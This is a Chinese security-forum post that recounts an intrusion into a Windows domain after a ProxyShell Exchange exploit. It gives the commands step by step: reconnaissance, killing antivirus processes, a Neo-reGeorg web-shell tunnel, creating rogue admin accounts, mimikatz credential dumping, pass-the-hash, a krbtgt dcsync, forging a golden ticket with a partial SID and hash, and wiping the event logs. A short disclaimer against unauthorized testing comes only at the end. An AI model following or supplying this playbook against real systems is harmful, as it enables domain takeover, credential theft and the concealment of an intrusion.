记一次由ProxyShell漏洞引发的无质量内网渗透

小熊保安   ·   发表于 2021-08-26 00:51:21   ·   实战纪实

一、 Exchange中的ProxyShell漏洞

ProxyShell是Exchange的最新漏洞,CVE编号为CVE-2021-34473(远程代码执行)、CVE-2021-34523(特权提升)、CVE-2021-31207(安全绕过漏洞),有兴趣的师傅可以自行去google、twitter等找找相关文档。

放上之前看到的复现链接:

https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1

https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/

我晓得个?,我是一只只会打exp的?

二、 内网渗透

0x01. 前言:

Proxyshell导出的马一般都是system这种高权限,这个跟Exchange规则有所关联,所以基本不需要提权,当然也有极少数获得到的shell无法执行命令。

我这里是直接使用的某条有system权限的shell,操作起来比较方便。

0x02. 初步信息搜集

1.查看当前用户身份

命令:whoami

2.查看系统信息(包括系统、域等)

命令:systeminfo

3.查看ip信息

命令:ipconfig

4.查看端口开放信息

命令:netstat -ano

5.查看进程

命令:tasklist /SVC

将查询出来的结果复制后,贴到在线查询进程杀软的网站,可快速查找出目标是否开了某些杀软。

杀死进程

命令:taskkill /f /pid 1337 强制杀死进程id为1337的进程

在线查询:

https://www.ddosi.org/av/1.php

https://mrxn.net/avlist/

6.查看域管理员

命令:net group “domain admins” /domain

7.查看域控制器

命令:net group “domain controllers” /domain

8.查看域控制器的内网ip地址

命令:ping xxx-AD1

初步信息搜集完成,3389内网开放,当前权限是system,域内成员机,杀软是windows自带的defender,域控制器1的内网ip是10.100.168.20.

0x03. 内网隧道搭建

因为3389需要内网ip去连接,所以在这里使用的是Neo-reGeorg3.5版本+proxifer搭建内网隧道。

1.Neo-reGeorg使用

Neo-reGeorg可以说是reGeorg的升级版,基于python3,新增了自定义key,连接时需要输入key值。

第一次使用Neo-reGeorg需要生成隧道文件

命令:python neoreg.py generate -k kz4 其中 -k kz4的意思是自定义的密钥密码为kz4

生成文件成功之后会在Neo-reGeorg文件夹下自动生成一个neoreg_servers文件夹

选择一个当前网站使用的编程语言的文件,exchange基于.net也就是aspx,所以这里直接上传tunnel.aspx到目标服务器中的web目录即可。

上传到服务器之后,从web访问一下文件所在地址,reGeorg会显示Georg says, ‘All seems fine’,但Neo访问会是空白页面。

成功访问之后即可使用python脚本和proxifer进行连接。

python脚本命令:python3 neoreg.py -k kz4 -p 17194 -u https://目标/tunnel文件地址

连接之后可以测试代理:

cmd中输入 curl -x socks5h://127.0.0.1:17194 https://www.google.com

也可以用浏览器修改代理插件,使用浏览器访问内网资产。

在配置了proxifer之后需要在proxifer里面新建一条规则,应用程序选择浏览器,动作选择走17194端口

2.Proxifer配置

不得不说proxifer真的很好用,能够实现真正的全局代理,使用v2rayn+proxifer实现真正的全局代理是真的香。就是使用起来可能小白不容易理解,鄙人不才,有幸被绕住。

点击配置文件 -> 添加代理服务器

填写好信息之后,点击检查(Check),如下图所示即为隧道搭建成功。

接下来添加代理规则,同样点击配置文件 -> 代理规则

按照以下配置即可,如果default设置为127.0.0.1:17194那么你本机除了设置的特定规则应用程序以外流量都会经过17194端口,也就是说你使用目标服务器的流量来进行网上冲浪。

所以通常只添加你需要用到目标服务器内网ip的应用程序规则。

比如没有使用v2rayn,直接搭隧道连接目标服务器3389的话,这里代理规则在默认的基础上,只需新建 应用程序为mstsc.exe 动作为127.0.0.1:17194的规则即可。

3.创建用户远程连接

为了能够连接到目标机器3389,需要创建一个用户,使用已经获取到的shell来创建一个新的管理员用户。

用户创建好了之后直接使用mstsc连接 输入当前主机的内网ip,输入创建好的用户名和密码即可成功连接到主机。

0x04. 哈希传递(pth:pass the hash)

1.使用pwdump8只能抓本机用户hash。

2.mimikatz管理员运行抓取登录过此主机的用户hash
  • 提高到debug权限:privilege::debug
  • 生成日志:log

  • 抓取hash:sekurlsa::logonpasswords

抓取出来的hash会自动导入生成的log文件里面(与mimikatz在同目录下)

3389有点卡,直接将log文件拖回本机Ctrl+F查找administrator字段

成功抓取到域控的hash值,接下来进行hash传递,调取域控cmd。

  • 使用psexec获取完整域控cmd

这个cmd权限很低,所以这时候就需要用到psexec这个微软推出的小工具,但实际上最好是使用wmiexec,这样不会被记入系统日志。

这样就完全获取到域控机的cmd窗口了,可以使用任意命令进行操作,可以在共享文件夹上传一个mimikatz抓取krbtgt进行伪造票据

这里还是用rdp来实现

域控机cmd创建用户 -> 加入管理员组 -> rdp连接

0x05. 票据传递(ptt:pass the ticket)

1.抓取krbtgt用户信息

现在已经进入到域控主机的桌面了。

票据传递需要用到krbtgt域账户的ntlm值,现在用mimikatz给他安排一下。

依旧是用管理员运行cmd,运行mimikatz,privilege::debug提升权限 log生成日志

lsadump::dcsync /user:所在域短域名\krbtgt

这样就直接抓取出来了。

制作黄金票据需要用到sid和hash ntlm值,将这两个值提取出来。

2.制作黄金票据

mimikatz执行命令:

kerberos::golden /admin:Administrator /domain:域名 /sid:S-1-5-21-3693555575-14188147xx-xxxx85xxx /krbtgt:c60b6f181a83cebd6d78d9279caf9d47 /ticket:Administrator.kiribi

执行成功后会在桌面生成一个administrator.kiribi文件.

3.测试票据是否成功利用

将生成的文件复制到域成员机上,然后将域控中上传的mimikatz相关的东西全部删除清理,关闭远程连接。

在域成员机上先使用命令看是否还连接着域控。

连接失败,那么使用mimikatz加载一下刚刚在域控生成的administrator.kiribi文件。

再次使用命令尝试

mimikatz命令:kerberos::list 可以看到该票据

验证成功,稳定,奔放,无视管理员。

清理痕迹等擦屁股的操作,明说我不会,直接打开事件管理器全部删除,下号!
还可以cs批量上线,但弟弟我不会做免杀,横向移动最好还是命令行操作,3389动静多少有点大了。

未获授权的渗透测试都是非法渗透,希望各位不要尝试非法渗透。

由于是晚上下班临时在公司写的笔记,有点仓促,希望各位兄弟姐妹如果看到有哪里不正确的地方,还请及时告知。

用户名金币积分时间理由
Track-聂风 80.00 0 2021-09-01 15:03:03 一个受益终生的帖子~~

打赏我,让我更有动力~

2 Reply   |  Until 2021-9-2 | 1108 View

山屿云
发表于 2021-9-2

这就是保安吗

评论列表

  • 加载数据中...

编写评论内容

小熊保安
发表于 2021-9-2

别这样 师傅

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2023 掌控者 All Rights Reserved.